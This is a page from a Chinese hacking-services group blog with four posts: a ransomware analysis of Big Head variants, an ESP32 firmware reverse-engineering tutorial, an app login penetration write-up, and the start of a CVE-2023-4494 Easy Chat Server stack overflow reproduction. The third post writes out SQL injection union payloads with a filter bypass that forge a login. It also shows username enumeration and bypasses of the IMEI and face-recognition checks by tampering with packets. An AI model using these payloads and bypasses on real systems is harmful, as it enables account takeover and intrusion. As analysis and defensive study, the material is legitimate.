Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863110958

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

趨勢科技研究人員日前發現了有關針對Windows系統的'Big Head'勒索程序，目前該惡意勒索程序已衍生出至少三種變體，其中一種是通過網絡釣魚方法傳播惡意網址，然後將'Big Head'勒索程序病毒擴散出去，並會偽裝成Windows Update的接口、或是假裝是Word安裝資訊，誘騙下載，安裝過程還有'進度條'讓人以為是官方程序。

本文會詳細介紹Big Head這個新勒索程序家族的技術細節。

關於Big Head的報導最早出現在5月，截止目前，該家族至少有三個變體被記錄在案。經過仔細檢查，我們發現這兩個變體在其勒索信中共享了一個共同的聯繫電子郵件，這使我們懷疑這兩種不同的變體來自同一個惡意程序開發人員。進一步研究這些變體，研究人員發現了該惡意程序的大量變體。接下來，我們將深入研究這些變體的例程，它們的異同，以及這些感染被濫用進行攻擊時的潛在危害影響。

接下來，我們將詳細介紹目前已發現的三個Big Head示例，以及它們各自的功能。分析發現，這三個Big Head勒索程序變體都是偽裝成虛假Windows更新和Word安裝程序傳播的。

變體1 1.png

變體1的攻擊流程

“Big Head”勒索程序變體1(SHA256: 6d27c1b457a34ce9edfb4060d9e04eb44d021a7b03223ee72ca569c8c4215438，被趨勢科技檢測為Ransom.MSIL.EGOGEN.THEBBBC)包含一個.NET編譯的二進製文件。此二進製文件使用CreateMutex檢查互斥鎖名稱8bikfjjD4JpkkAqrz，如果找到了互斥鎖名稱，則自我終止。

2.png

調用CreateMutex函數

3.png

MTX值' 8bikfjjD4JpkkAqrz '

該示例還有一個配置列表，其中包含與安裝過程相關的詳細信息。它指定了各種操作，例如創建註冊表項、檢查文件是否存在並在必要時覆蓋它、設置系統文件屬性以及創建自動運行註冊表項。這些配置設置由管道符號“|”分隔，並附有相應的字符串，這些字符串定義了與每個操作相關聯的特定行為。

4.png

配置列表

該惡意程序在安裝時遵循的行為格式如下：

5.png

此外，我們注意到存在三個資源，其中包含類似於擴展名為“*.exe”的可執行文件的數據：

1.exe會釋放其自身的副本以進行傳播。這是一個勒索程序，在加密和附加“.pop”擴展名之前，它會檢查擴展名“.r3d”。 2.Archive.exe會釋放了一個名為teleratserver.exe的文件，這是一個Telegram木馬程序，負責與攻擊者的聊天機器人ID建立通信。

3.Xarch.exe會釋放了一個名為BXIuSsB.exe的文件，這是一個加密文件並將文件名編碼為Base64的勒索程序。它還顯示了一個虛假的Windows更新來欺騙受害者，使其認為惡意活動是一個合法的進程。

這些二進製文件是加密的，如果沒有適當的解密機制，它們的內容將無法訪問。

6.png

在主示例中找到了三個資源

7.png

位於資源部分(“1.exe”)中的一個文件的加密內容

為了從資源中提取三個二進製文件，惡意程序採用了帶有電子密碼本(ECB)模式的AES解密。這個解密過程需要一個初始化向量(IV)來進行正確的解密。

值得注意的是，所使用的解密密鑰是從互斥鎖8bikfjjD4JpkkAqrz的MD5哈希中派生出來的。這個互斥鎖是一個硬編碼的字符串值，其中它的MD5哈希值用於解密三個二進製文件1.exe、archive.exe和Xarch.exe。需要注意的是，每個變體的MTX值和加密資源不同。

研究人員通過專門利用變體名稱的MD5哈希來手動解密每個二進製文件中的內容。完成此步驟後，我們繼續使用AES模式來解密加密的資源文件。

8.png

用於解密三個二進製文件（頂部）和來自父文件的解密二進製文件（底部）的代碼

下表顯示了使用MTX值8bikfjjD4JpkkAqrz解密的惡意程序釋放的二進製文件的詳細信息。這三個二進製文件在代碼結構和二進製文件提取方面與父變體有相似之處：

解密並提取的三個二進製文件

9.png

1.exe（左）、teleratserver.exe（中）和BXIuSsB.exe（右）

二進製文件本節詳細介紹了從上一個表中標識的已釋放的二進製文件，以及父示例釋放的第一個二進製文件1.exe。

加图1.png

最初，該文件將通過使用帶有SW_hide（0）的WinAPI ShowWindow來隱藏控制台窗口。該惡意程序將創建一個自動運行註冊表項，使其能夠在系統啟動時自動執行。此外，它將製作自己的副本，並將其保存為本地計算機中

10.png

ShowWindow API代碼隱藏當前進程的窗口(頂部)和註冊表項的創建，並將其本身的副本作為“discord.exe”(底部)釋放

Big Head勒索程序在%appdata%\ID中檢查受害者的ID。如果ID存在，勒索程序會驗證ID並讀取內容。否則，它將創建一個隨機生成的40個字符字符串，並將其寫入文件%appdata%\ID，作為一種攻擊標記，以識別其受害者。

11.png

觀察到的行為表明，擴展名為“.r3d”的文件是使用AES加密的特定目標，其密鑰源自加密塊鏈接（CBC）模式下的“123”的SHA256哈希。因此，加密的文件最終會附加“.popup”擴展名。

12.png

惡意程序在加密和附加”.poop”擴展名之前檢查包含“.r3d”的擴展名（頂部），以及當文件擴展名“.r3d”存在時的文件加密過程（底部）

在這個文件中，我們還觀察到勒索程序是如何刪除其卷影副本的。用於刪除卷影副本和備份的命令，也用於禁用恢復選項，如下所示：

13.png

它將贖金通知放在桌面、子目錄和%appdata%文件夾上。 Big Head勒索程序還更改了受害者機器的壁紙。

14.png

“1.exe”二進製文件的勒索信

15.png

受害者計算機上的壁紙

最後，它將執行打開瀏覽器的命令，並訪問惡意程序開發人員的Telegram帳戶hxxps[:]//t[.]me/[REDACTED]_69。分析顯示，除了重定向之外，沒有與該帳戶交換任何特定的操作或通信。

加图2.png

Teleratserver是一個64位python編譯的二進製文件，它通過Telegram充當攻擊者和受害者之間的通信通道。它接受命令“開始”、“幫助”、“屏幕截圖”和“消息”。

16.png

從二進製文件反編譯的Python腳本

加图3.png

惡意程序顯示了一個虛假的Windows Update UI，以欺騙受害者，使其認為惡意活動是合法的程序更新過程，其進度百分比以100秒為增量。

17.png

負責虛假更新的代碼（左）和向用戶顯示的虛假更新（右）

如果用戶的系統語言與俄羅斯、白俄羅斯、烏克蘭、哈薩克、吉爾吉斯、亞美尼亞、格魯吉亞、韃靼和烏茲別克國家代碼匹配，惡意程序就會自行終止。該惡意程序還禁用任務管理器，以防止用戶終止或調查其進程。

18.png

負責禁用任務管理器的“KillCtrlAltDelete”命令

該惡意程序將其副本放入其創建的隱藏文件夾

19.png

創建自動運行註冊表

該惡意程序還會隨機生成一個32個字符的密鑰，稍後將用於加密文件。然後，該密鑰將使用帶有硬編碼公鑰的RSA-2048進行加密。

然後，勒索程序會釋放包含加密密鑰的勒索信。

20.png

勒索信

惡意程序會避開包含以下子字符串的目錄：

WINDOWSorWindowsRECYCLERorRecyclerProgramFilesProgramFiles(x86)Recycle.BinorRECYCLE.BINTEMPorTempAPPDATAorAppDataProgramDataMicrosoftBurn通過將這些目錄排除在其惡意活動之外，可以降低被檢測到的可能性，並增加了在更長時間內持續運行的機會。以下是Big Head勒索程序加密的擴展名:

21.png

該惡意程序還會終止以下進程：

22.png

惡意程序使用Base64重命名加密文件。我們觀察到惡意程序使用LockFile功能，該功能通過重命名文件並添加標記來加密文件。此標記用作確定文件是否已加密的標識。通過進一步檢查，研究人員看到了在加密文件中檢查標記的功能。解密後，可以在加密文件的末尾匹配標記。

23.png

LockFile函數

24.png

檢查標記“###”(頂部)並在加密文件的末尾找到標記(底部)

惡意程序針對以下語言和當前用戶操作系統的區域或本地設置，如下所示：

25.png

勒索程序檢查磁盤枚舉註冊表中的VBOX、Virtual或VMware等字符串，以確定係統是否在虛擬環境中運行。它還掃描包含以下子字符串的進程：VBox、prl_（parallel的桌面）、srvc.exe、vmtoolsd。

26.png

正在檢查虛擬機標識符（頂部）和進程（底部）

惡意程序識別與虛擬化程序相關的特定進程名，以確定係統是否在虛擬化環境中運行，從而允許它相應地調整其操作，以成功攻擊目標或逃避。它也可以繼續刪除恢復備份可用，使用以下命令行:

27.png

刪除備份後，不管可用的備份數量是多少，它都將使用SelfDelete()函數繼續自我刪除。此函數啟動批處理文件的執行，這將刪除惡意程序可執行文件和批處理文件。

28.png

SelfDelete函數

變體2研究人員觀察到的變體2

(SHA256: 2a36d1be9330a77f0bc0f7fdc0e903ddd99fcee0b9c93cb69d2f0773f0afd254，由趨勢科技檢測為Ransom.MSIL.EGOGEN.THEABBC)也表現出勒索程序和竊取行為。

29.png

Big Head勒索病毒第二變體的攻擊流程

主文件釋放並執行以下文件：

%TEMP%\runyes.Crypter.bat%AppData%\Roaming\azz1.exe%AppData%\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Server.exe勒索程序活動由runyes.Crypter.bat和azz1.exe執行，而Server.exe負責收集信息執行竊取。

文件runyes.Crypter.bat會釋放其自身和Cipher.psm1，然後執行以下命令以開始加密：

30.png

該惡意程序使用AES算法對文件進行加密，並在加密的文件中添加後綴“.popup69news@[REDACTED]”。它專門針對具有以下擴展名的文件：

31.png

文件azz1.exe也參與了其他勒索程序活動。

32.png

Big Head勒索程序變體2的勒索信

和第一個變體一樣，第二個變體也更改了受害者的桌面壁紙。之後，它將使用系統的默認web瀏覽器打開URL hxxps[:]//github[.]com/[REDACTED]_69。截至本文撰寫之時，URL已不可用。

該勒索程序的其他變體也使用了滴管azz1.exe，儘管每個二進製文件的具體文件可能不同。同時，Server.exe已經被確定為WorldWind的竊取程序，收集了以下數據：

所有可用瀏覽器的瀏覽歷史記錄；

目錄列表；

驅動程序副本；

正在運行的進程列表；

產品密鑰；

網絡；

運行文件後的屏幕截圖；

變體3變體3(SHA256: 25294727f7fa59c49ef0181c2c8929474ae38a47b350f7417513f1bacf8939ff, Trend檢測為Ransom.MSIL.EGOGEN.YXDEL)包含一個被識別為Neshta文件攻擊流程。

33.png

變體3的攻擊流程

Neshta是一種旨在感染並將其惡意代碼插入可執行文件的惡意程序。該惡意程序還會釋放一個名為directx.sys的文件，其中包含上次執行的受感染文件的完整路徑名。這種行為在大多數類型的惡意程序中並不常見，因為它們通常不會在釋放的文件中存儲此類特定信息。

將Neshta納入勒索軟件部署也可以作為最終Big Head勒索軟件有效負載的偽裝技術。這項技術可以使惡意軟件看起來像是一種不同

HireHackking

物聯網(IoT) 設備已經成為我們日常生活、工作環境、醫院、政府設施和車隊的重要組成部分。比如：Wi-Fi打印機、智能門鎖、報警系統等等。 2020 年，美國居民平均擁有十多個聯網設備。但出於實用性而選擇物聯網設備的用戶還需要確保這些設備的安全。

由於物聯網設備通常連接到內部家庭或公司網絡，因此破壞此類設備可以為犯罪分子提供對整個系統的訪問權限。 2021 年前六個月，智能設備遭受了約15 億次攻擊，攻擊者試圖竊取數據、挖掘加密貨幣或構建殭屍網絡。

確保物聯網設備良好安全性的一種方法是執行逆向工程活動，這將幫助您更好地了解特定設備的構建方式，並允許您對設備及其固件進行進一步分析。

在本文中，我們展示了智能空氣淨化器逆向工程固件的實際示例，強調了研究其架構的重要性。本文對於致力於網絡安全項目、想要了解逆向工程物聯網設備的細微差別和步驟的開發團隊很有幫助。

研究固件架構的重要性逆向工程物聯網固件的過程因所研究的設備而異。

物聯網設備發展得非常快，市場的主導架構一直在變化。不到十年前，最流行的選擇主要是x86 或ARM，不太可能是MIPS 或PowerPC。但現在，您需要了解多種微控制器架構來對嵌入式設備進行逆向工程：Tricore、rh850、i8051、PowerPC VLE等。

深入學習單一架構不足以在物聯網逆向工程中取得成功。如果開發人員有必要盡快開始逆向工程，他們應該從學習固件架構和結構的基礎知識開始。

這正是我們想要在本文中描述的：逆向工程師研究他們以前從未見過的新架構和固件格式的方式。

在本文中，我們使用了小米空氣淨化器3H 的固件轉儲。我們選擇它是因為它是ESP32 CPU（即Tensilica Xtensa 架構）的固件轉儲。這是一種相當奇特的架構選擇，但在需要Wi-Fi 通信的物聯網設備中很常見。您可以在此GitHub 頁面上找到我們將作為本文示例進行逆向工程的固件(ESP-32FW.bin)。

這種情況的挑戰是，沒有針對固件架構的現有反編譯器，並且反彙編器幾乎不支持它。然而，這是逆向工程師當今面臨的一個非常準確的例子。

物聯網固件逆向工程過程由以下五個階段組成：

image.png

1.確定架構在對物聯網設備進行逆向工程之前要問的第一個問題是如何了解逆向工程所需的固件的架構。

最直接的找出方法是閱讀CPU 的數據表並從中了解答案。但在某些情況下，您所擁有的只是固件本身。在這種情況下，您可以使用以下兩個選項之一：

1. 字符串搜索可能允許您找到一些剩餘的編譯字符串，其中包含有關編譯器名稱和體系結構的信息。

2. 二進制模式搜索要求您了解不同類型的微控制器架構中經常使用的指令。您可以在固件中搜索特定架構常見的二進制模式，然後嘗試將固件加載到支持此類架構的反彙編程序中以驗證您的猜測。

一旦確定了架構類型，您就可以開始選擇用於進一步逆向的工具集。對於ESP-32FW.bin，我們已經知道它將是Tensilica Xtensa 架構，因此我們需要選擇要用於研究的反彙編程序。

2.選擇反彙編工具在研究了可以支持Xtensa 的適當反彙編程序後，我們最終得到了三個選項：IDA、Ghidra和Radare。

我們決定首先嘗試使用Ghidra 和IDA，因為我們已經擁有將這些工具成功應用於不同逆向工程項目的豐富經驗。由於IDA 沒有用於Xtensa 的反編譯器，只有用於反彙編器的CPU 模塊，因此我們決定首先嘗試使用Ghidra（我們使用的是10.0 版本）。

Ghidra 默認不支持Xtensa，因此我們需要先為Ghidra 安裝Tensilica Xtensa 模塊。

Xtensa 的反彙編程序可以工作，但反編譯程序存在一些問題，如下面的屏幕截圖所示：

image.png

屏幕截圖1. 有關Ghidra 反編譯器中未實現指令的警告

經過一段時間的反彙編，我們意識到Xtensa 的Ghidra 處理器模塊在多種情況下難以確定指令長度。因此，我們放棄了Ghidra，轉而使用IDA（我們使用的是7.7 版本）。

起初在處理器模塊列表中找到Xtensa 很困難，但最終我們在這裡找到了它：

image.png

屏幕截圖2. IDA 處理器模塊列表中的Xtensa

IDA 中的處理器模塊看起來足夠穩定，因此我們決定堅持使用IDA。

3. 加載固件第一步是將固件加載到正確的映像基地址，以便將所有全局變量指針解析為有效地址。為此，有必要了解代碼在二進製文件中的位置。

我們首先在基地址加載固件0，並嘗試標記盡可能多的代碼。為了能夠在IDA 中正確標記代碼，我們需要學習Xtensa 固件常見的典型指令序列。為了找出在函數序言中使用哪些指令，我們從GitHub 中獲取了一個示例：esp8266/Arduino：適用於Arduino 的ESP8266 核心。

編譯器似乎使用了以下指令：entry a1, XX

該指令根據參數的值轉換為字節序列，例如36 41 00/36 61 00/36 81 00XX。

通過實現一個簡單的IDA 腳本來搜索此類模式，可以標記大約90% 的代碼：

image.png

屏幕截圖3. 在IDA 中標記代碼的結果

一旦我們找到了代碼，就該探索並看看它看起來是否正確。

看看下面的截圖，很明顯有問題。字符串資源被正確引用，但call8指令指向字符串，而不是代碼。並且有些call8指令指向不存在的地址。通常這意味著映像基址錯誤，固件必須加載到其他基址，而不是0.

image.png

屏幕截圖4. 發現call8 指令指向字符串和不存在的地址

確定基地址的常見方法是：

1.選擇一個字符串。

2.使用該字符串地址的低位部分查找引用它的代碼。

3.找出真實的字符串地址和我們在代碼中看到的地址之間的差異。因此，我們可以理解如何移動代碼的地址以匹配字符串的當前地址。

在這種情況下，我們發現基地址一定是0x3F3F0000，但即使使用它，call8指令仍然無效。這可能意味著二進制數據被分段，並且閃存中的代碼被分段映射到RAM。因此，有必要將固件分割成多個片段，並將這些片段加載到IDA 的適當段中。

我們查看了固件中的字符串，發現它確實是分段的：

image.png

屏幕截圖5. 固件分段證明

經過進一步研究，我們發現了ESP IDF 框架。由於我們的目標固件包含該框架的某些版本，因此我們可以嘗試使用其源代碼來了解固件結構。

我們在ESP IDF 內的bootloader_utility.c 源代碼文件中發現了一個有趣的bootloader_utility_load_partition_table()函數，這意味著固件必須包含分區表。

image.png

屏幕截圖6. bootloader_utility_load_partition_table() 函數顯示固件必須包含分區表

為了識別分區表，我們繼續探索源代碼，最終找到了esp_partition_table_verify()函數，該函數由bootloader_utility_load_partition_table()函數調用：

image.png

屏幕截圖7. 發現esp_partition_table_verify() 函數

所以一定有ESP_PARTITION_MAGIC和ESP_PARTITION_MAGIC_MD5：

image.png

二分搜索AA 50給了我們很好的結果：

image.png

屏幕截圖8. AA 50 的二分搜索成功結果

兩者ESP_PARTITION_MAGIC都ESP_PARTITION_MAGIC_MD5可以在附近看到。最有可能的sub_3F3F4848 是esp_partition_table_verify()。

由於我們已經知道esp_partition_table_verify函數在哪裡，因此我們能夠找到bootloader_utility_load_partition_table函數和ESP_PARTITION_TABLE_OFFSET 文件偏移量：

image.png

屏幕截圖9. 查找bootloader_utility_load_partition_table 和ESP_PARTITION_TABLE_OFFSET

image.png

屏幕截圖10. 查找偏移值

ESP_PARTITION_TABLE_OFFSET 是ESP32-FW.bin 文件中的文件偏移量。現在我們只需要知道分區表條目的結構。 ESP IDF框架的源代碼再次幫助了我們：

image.png

我們已將這些結構導入IDA 並將其應用到分區表數據中：

image.png

屏幕截圖11. 將結構導入IDA 並將其應用到分區表數據

如您所見，esp_partition_pos_t.offset 是每個分區的文件偏移量，我們現在可以將ESP32-FW.bin 拆分為分區。

但是我們如何才能將每個分區加載到適當的地址呢？似乎有一個image_load()函數負責將固件分區映射到地址空間：

image.png

屏幕截圖12. 將固件分區映射到地址空間

image.png

接下來，每個分區被分成段。在標題之後，您可以看到一個結構，後面是實際數據：

image.png

這裡，esp_image_segment_header_t.load_addr是CPU 地址空間中段數據的虛擬地址。

分區內的段如下所示：

image.png

現在，有了有關段的完整信息，我們可以將分區拆分為段並將它們加載到IDA 中的適當地址。我們可以手動完成此提取工作，也可以嘗試通過IDA 加載器插件將其自動化。

儘管如此，Ghidra 似乎已經實現了這樣的加載器。

HireHackking

一、APP抓包和逆向破解加密算法

打开APP是一个登录框

图片

抓包后发现参数被加密了

图片

使用Jadx脱源码发现，并没有加壳也没有混淆，运气很好

图片

根据经验，先搜索Encrypt、Decrypt等关键字，发现在Common.js中有一个encryptData函数

图片

定位过去，一套加解密算法都写好了放在这

图片

放到浏览器console里面调试，果然没错

图片

二、寻找注入点

首先测试了一下注入

明文：{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回异常

图片


明文：{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常

图片

明文：{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常

图片

至此已经可以判断该登录点就是一个注入了，可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1

图片


根据返回结果推测，后端的登录处的逻辑代码可能是这样的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

通过Union注入构造万能密码，是可以造成任意用户登陆的，测试过程如下
先使用order by测试，得知字段的数量为9个，构造payload

# 由于目标服务器带有过滤，所以这里简单的bypass一下
明文：{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：App返回成功

图片


由于Oracle在进行union查询时，所对应的字段数据类型也必须相同，所以还要进行字段数据类型的测试，最终结果如下

# 注意这里passWord我修改成了123，用来测试Union构造的万能密码是否可行
明文：{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：提示是弱密码（说明此方法可行）

图片


图片


接下来就是一个字段一个字段的改过去，判断哪个字段对应的是密码字段，测试结果如下

# 注意这里passWord我修改成了Ceshi123@@@，不再是弱口令了
明文：{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：提示登录成功

图片

图片

在绕过后，发现程序出现了异常

图片

仔细观察返回的数据，其中有username（用户名）、staffId（职工号）、email（邮箱）、staffName（姓名）、tel（手机号）、mobile（手机号），然而这些数据都是我刚刚自己随便构造的，这里应该需要一个真实的用户信息，供后续的登录流程使用

图片


好在，还是有一个地方能获取真实的用户信息的

三、由忘记密码，爆破用户名

App还有一个忘记密码的功能（通常这里可以爆破用户名）

图片

利用忘记密码的功能可以判断用户名是否存在，这里随便跑了一下字典，就出来好多用户名

图片


图片

四、破解短信验证码

自然而然地利用这些用户名使用短信验证码登录

图片

获取验证码，然后解密数据包，惊奇的发现返回了用户基本信息

图片

根据登录返回结果，重新测试payload，最终结果如下

明文：{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：xxxxxxxxx结果：提示登录成功

图片

仔细看返回的登录数据，已经正常了

图片

然后重新替换数据包登录，提示绑定IMEI

图片

这个绕过很简单，随便输入验证码，替换返回包，把resultCode从1001改为1000就行（常规操作）

图片


图片

五、抓包、改包，绕过人脸识别

最终还要个人脸认证

图片

先用自己的脸检测，这时候手机会向服务器发包，burp把手机发向服务器的包直接丢掉就可以绕过

图片

点击确定后，还有一个大数据包发向服务器，这里面包含的是人脸数据

图片


修改数据包，将其中的人脸数据替换为空，然后发送

图片


图片

六、成功登录APP

最终的最终，成功登录APP

图片

图片



转载于原文链接： https://mp.weixin.qq.com/s/rpBQn2LV1xOOUGjvSRuSRg


HireHackking

漏洞概述Easy Chat Server是一款基於Web的在線聊天服務器程序，運行系統為Windows，支持創建多個聊天室，多人在線聊天，該軟件曾出現過多個漏洞。近日，安全研究人員發現該軟件還存在基於棧溢出的漏洞，漏洞編號CVE-2023-4494。該漏洞源於使用HTTP GET對register.ghp文件進行訪問時，未檢查用戶提交的username值的長度是否超過限制，從而使棧緩衝區溢出，覆蓋其他內存空間，可導致任意代碼執行。

影響範圍

=3.1

復現環境

操作系統：Win7 sp1，Kali linux

分析工具：IDA，Windbg，OLLYDBG，Burp Suite

漏洞復現安裝3.1版本的Easy Chat Server程序，安裝完成後主程序路徑為C:\EFS Software\Easy Chat Server\EasyChat.exe。當前服務器IP為192.168.220.128，啟動主程序後，主界面如下圖所示：

QQ截图20231208092942.png

使用瀏覽器對主頁進行訪問，Web主界面如下圖所示：

QQ截图20231208093008.png

根據CVE官方公告，使用HTTP GET對register.ghp文件進行訪問時，username字段可導致漏洞產生。所以使用瀏覽器訪問http://192.168.220.128/register.ghp?username=test進行嘗試，Web響應界面如下圖所示：

QQ截图20231208093036.png

可以看出，register.ghp可能是用戶註冊頁面。同時反編譯EasyChat.exe程序，發現還需要傳遞Password等字段。反編譯如下圖所示：

QQ截图20231208093130.png

